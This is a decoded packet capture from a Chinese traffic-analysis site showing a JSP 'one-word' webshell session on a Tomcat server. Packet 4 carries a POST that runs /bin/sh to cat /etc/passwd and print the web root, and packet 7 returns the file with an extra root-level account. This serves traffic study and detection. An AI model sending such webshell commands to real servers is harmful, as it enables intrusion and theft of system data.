机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170713/20170713120626_11915.pcap Size is:	2708
FileHeader is:	d4c3b2a1020004000000000000000000 0000040001000000

Pack 1
PackHeader is:	49eb6659e8900a004200000042000000
DateTime:	2017-07-13 11:38:49.692456
Pack Caplen is:	66
Src MAC is:	e4a4716e5fb4
Dst MAC is:	000c2902a846
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.105
DecIP Addr is:	192.168.0.181
Data Proctol is:	06(TCP)
Src Port is:	54204
Dec Port is:	8080
SEQ -> NSEQ is:	2442522728->0
Data Len is:	12
Hex Data is:	020405b40103030201010402
Binary Data is:	�
Pack 2
PackHeader is:	49eb6659d7910a004200000042000000
DateTime:	2017-07-13 11:38:49.692695
Pack Caplen is:	66
Src MAC is:	e4a4716e5fb4
Dst MAC is:	e4a4716e5fb4
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.181
DecIP Addr is:	192.168.0.105
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	54204
SEQ -> NSEQ is:	3045129776->2442522729
Data Len is:	12
Hex Data is:	020405b40101040201030307
Binary Data is:	�
Pack 3
PackHeader is:	49eb665935920a003600000036000000
DateTime:	2017-07-13 11:38:49.692789
Pack Caplen is:	54
Src MAC is:	e4a4716e5fb4
Dst MAC is:	000c2902a846
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.105
DecIP Addr is:	192.168.0.181
Data Proctol is:	06(TCP)
Src Port is:	54204
Dec Port is:	8080
SEQ -> NSEQ is:	2442522729->3045129777
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	49eb665936970a002502000025020000
DateTime:	2017-07-13 11:38:49.694070
Pack Caplen is:	549
Src MAC is:	e4a4716e5fb4
Dst MAC is:	000c2902a846
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.105
DecIP Addr is:	192.168.0.181
Data Proctol is:	06(TCP)
Src Port is:	54204
Dec Port is:	8080
SEQ -> NSEQ is:	2442522729->3045129777
Data Len is:	495
Hex Data is:	504f5354202f61612f6f6e65776f7264 2e6a737020485454502f312e310d0a58 2d466f727761726465642d466f723a20 3139392e312e38382e32390d0a526566 657265723a20687474703a2f2f313932 2e3136382e302e3138310d0a436f6e74 656e742d547970653a206170706c6963 6174696f6e2f782d7777772d666f726d 2d75726c656e636f6465640d0a557365 722d4167656e743a204d6f7a696c6c61 2f352e30202857696e646f77733b2057 696e646f7773204e5420352e313b2065 6e2d5553292046697265666f782f332e 352e300d0a486f73743a203139322e31 36382e302e3138313a383038300d0a43 6f6e74656e742d4c656e6774683a2031 35350d0a43616368652d436f6e74726f 6c3a206e6f2d63616368650d0a436f6f 6b69653a204a53455353494f4e49443d 44313744424237363935393143323739 36443337303945313845344339444231 0d0a0d0a77686f616d693d4d267a303d 5554462d38267a313d2d632532466269 6e2532467368267a323d63642b253232 253246726f6f74253246617061636865 2d746f6d6361742d382e302e34352532 4677656261707073253246524f4f5425 32462532322533426361742b25324665 74632532467061737377642533426563 686f2b25354253253544253342707764 2533426563686f2b25354245253544
Binary Data is:	POST /aa/oneword.jsp HTTP/1.1 X-Forwarded-For: 199.1.88.29 Referer: http://192.168.0.181 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0 Host: 192.168.0.181:8080 Content-Length: 155 Cache-Control: no-cache Cookie: JSESSIONID=D17DBB769591C2796D3709E18E4C9DB1 whoami=M&z0=UTF-8&z1=-c%2Fbin%2Fsh&z2=cd+%22%2Froot%2Fapache-tomcat-8.0.45%2Fwebapps%2FROOT%2F%22%3Bcat+%2Fetc%2Fpasswd%3Becho+%5BS%5D%3Bpwd%3Becho+%5BE%5D
Pack 5
PackHeader is:	49eb665908980a003c0000003c000000
DateTime:	2017-07-13 11:38:49.694280
Pack Caplen is:	60
Src MAC is:	e4a4716e5fb4
Dst MAC is:	e4a4716e5fb4
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.181
DecIP Addr is:	192.168.0.105
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	54204
SEQ -> NSEQ is:	3045129777->2442523224
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 6
PackHeader is:	49eb6659e3d30a00c6000000c6000000
DateTime:	2017-07-13 11:38:49.709603
Pack Caplen is:	198
Src MAC is:	e4a4716e5fb4
Dst MAC is:	e4a4716e5fb4
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.181
DecIP Addr is:	192.168.0.105
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	54204
SEQ -> NSEQ is:	3045129777->2442523224
Data Len is:	144
Hex Data is:	485454502f312e3120323030204f4b0d 0a5365727665723a204170616368652d 436f796f74652f312e310d0a436f6e74 656e742d547970653a20746578742f68 746d6c3b636861727365743d5554462d 380d0a436f6e74656e742d4c656e6774 683a20313435350d0a446174653a2054 68752c203133204a756c203230313720 30333a33383a353320474d540d0a0d0a
Binary Data is:	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Content-Length: 1455 Date: Thu, 13 Jul 2017 03:38:53 GMT
Pack 7
PackHeader is:	49eb665999d70a00e5050000e5050000
DateTime:	2017-07-13 11:38:49.710553
Pack Caplen is:	1509
Src MAC is:	e4a4716e5fb4
Dst MAC is:	e4a4716e5fb4
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.181
DecIP Addr is:	192.168.0.105
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	54204
SEQ -> NSEQ is:	3045129921->2442523224
Data Len is:	1455
Hex Data is:	2d3e7c726f6f743a783a303a303a726f 6f743a2f726f6f743a2f62696e2f6261 73680d0a6461656d6f6e3a783a313a31 3a6461656d6f6e3a2f7573722f736269 6e3a2f7573722f7362696e2f6e6f6c6f 67696e0d0a62696e3a783a323a323a62 696e3a2f62696e3a2f7573722f736269 6e2f6e6f6c6f67696e0d0a7379733a78 3a333a333a7379733a2f6465763a2f75 73722f7362696e2f6e6f6c6f67696e0d 0a73796e633a783a343a36353533343a 73796e633a2f62696e3a2f62696e2f73 796e630d0a67616d65733a783a353a36 303a67616d65733a2f7573722f67616d 65733a2f7573722f7362696e2f6e6f6c 6f67696e0d0a6d616e3a783a363a3132 3a6d616e3a2f7661722f63616368652f 6d616e3a2f7573722f7362696e2f6e6f 6c6f67696e0d0a6c703a783a373a373a 6c703a2f7661722f73706f6f6c2f6c70 643a2f7573722f7362696e2f6e6f6c6f 67696e0d0a6d61696c3a783a383a383a 6d61696c3a2f7661722f6d61696c3a2f 7573722f7362696e2f6e6f6c6f67696e 0d0a6e6577733a783a393a393a6e6577 733a2f7661722f73706f6f6c2f6e6577 733a2f7573722f7362696e2f6e6f6c6f 67696e0d0a757563703a783a31303a31 303a757563703a2f7661722f73706f6f 6c2f757563703a2f7573722f7362696e 2f6e6f6c6f67696e0d0a70726f78793a 783a31333a31333a70726f78793a2f62 696e3a2f7573722f7362696e2f6e6f6c 6f67696e0d0a7777772d646174613a78 3a33333a33333a7777772d646174613a 2f7661722f7777773a2f7573722f7362 696e2f6e6f6c6f67696e0d0a6261636b 75703a783a33343a33343a6261636b75 703a2f7661722f6261636b7570733a2f 7573722f7362696e2f6e6f6c6f67696e 0d0a6c6973743a783a33383a33383a4d 61696c696e67204c697374204d616e61 6765723a2f7661722f6c6973743a2f75 73722f7362696e2f6e6f6c6f67696e0d 0a6972633a783a33393a33393a697263 643a2f7661722f72756e2f697263643a 2f7573722f7362696e2f6e6f6c6f6769 6e0d0a676e6174733a783a34313a3431 3a476e617473204275672d5265706f72 74696e672053797374656d202861646d 696e293a2f7661722f6c69622f676e61 74733a2f7573722f7362696e2f6e6f6c 6f67696e0d0a6e6f626f64793a783a36 353533343a36353533343a6e6f626f64 793a2f6e6f6e6578697374656e743a2f 7573722f7362696e2f6e6f6c6f67696e 0d0a73797374656d642d74696d657379 6e633a783a3130303a3130323a737973 74656d642054696d652053796e636872 6f6e697a6174696f6e2c2c2c3a2f7275 6e2f73797374656d643a2f62696e2f66 616c73650d0a73797374656d642d6e65 74776f726b3a783a3130313a3130333a 73797374656d64204e6574776f726b20 4d616e6167656d656e742c2c2c3a2f72 756e2f73797374656d642f6e65746966 3a2f62696e2f66616c73650d0a737973 74656d642d7265736f6c76653a783a31 30323a3130343a73797374656d642052 65736f6c7665722c2c2c3a2f72756e2f 73797374656d642f7265736f6c76653a 2f62696e2f66616c73650d0a73797374 656d642d6275732d70726f78793a783a 3130333a3130353a73797374656d6420 4275732050726f78792c2c2c3a2f7275 6e2f73797374656d643a2f62696e2f66 616c73650d0a5f6170743a783a313034 3a36353533343a3a2f6e6f6e65786973 74656e743a2f62696e2f66616c73650d 0a6d6573736167656275733a783a3130 353a3130393a3a2f7661722f72756e2f 646275733a2f62696e2f66616c73650d 0a6a69776f3a783a303a303a6a69776f 2c2c2c3a2f686f6d652f6a69776f3a2f 62696e2f626173680d0a737368643a78 3a3130363a36353533343a3a2f72756e 2f737368643a2f7573722f7362696e2f 6e6f6c6f67696e0d0a5b535d0d0a2f72 6f6f742f6170616368652d746f6d6361 742d382e302e34352f77656261707073 2f524f4f540d0a5b455d0d0a7c3c2d
Binary Data is:	->\|root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:109::/var/run/dbus:/bin/false jiwo:x:0:0:jiwo,,,:/home/jiwo:/bin/bash sshd:x:106:65534::/run/sshd:/usr/sbin/nologin [S] /root/apache-tomcat-8.0.45/webapps/ROOT [E] \|<-
Pack 8
PackHeader is:	49eb66594ed90a003600000036000000
DateTime:	2017-07-13 11:38:49.710990
Pack Caplen is:	54
Src MAC is:	e4a4716e5fb4
Dst MAC is:	000c2902a846
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.105
DecIP Addr is:	192.168.0.181
Data Proctol is:	06(TCP)
Src Port is:	54204
Dec Port is:	8080
SEQ -> NSEQ is:	2442523224->3045131376
Data Len is:	0
Hex Data is:
Binary Data is: